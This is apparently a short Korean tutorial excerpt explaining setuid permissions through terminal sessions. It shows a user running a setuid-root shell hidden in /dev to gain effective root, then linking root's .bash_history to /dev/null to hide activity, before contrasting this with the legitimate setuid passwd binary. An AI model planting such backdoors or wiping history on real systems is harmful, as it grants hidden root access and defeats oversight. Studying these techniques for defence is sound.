[r00t@webD r00t]$ cd /dev
[r00t@webD /dev]$ ./sh
[r00t@webD /dev]# exit
exit
[r00t@webD /dev]$ ls -l sh
-rwsr-xr-x  1 root    65535      300668 Dec 28 22:29 sh
[r00t@webD /dev]$ ./sh
[r00t@webD /dev]# id
uid=65535(r00t) gid=65535 euid=0(root)
[r00t@webD /dev]# ln -s /dev/null /root/.bash_history
[r00t@webD /dev]# exit
exit
[r00t@webD /dev]$ id
uid=65535(r00t) gid=65535
[r00t@webD /dev]$ 

특히 아주 좋은예
(19)[XYZ]/member/hacker > ls -l /usr/bin/passwd
-r-sr-sr-x  3 root    sys        96236  7월 25일  01:56 /usr/bin/passwd*

일반유저들의 암호를 바꿀때 매번 루트로 유효아이디가 떨어진다..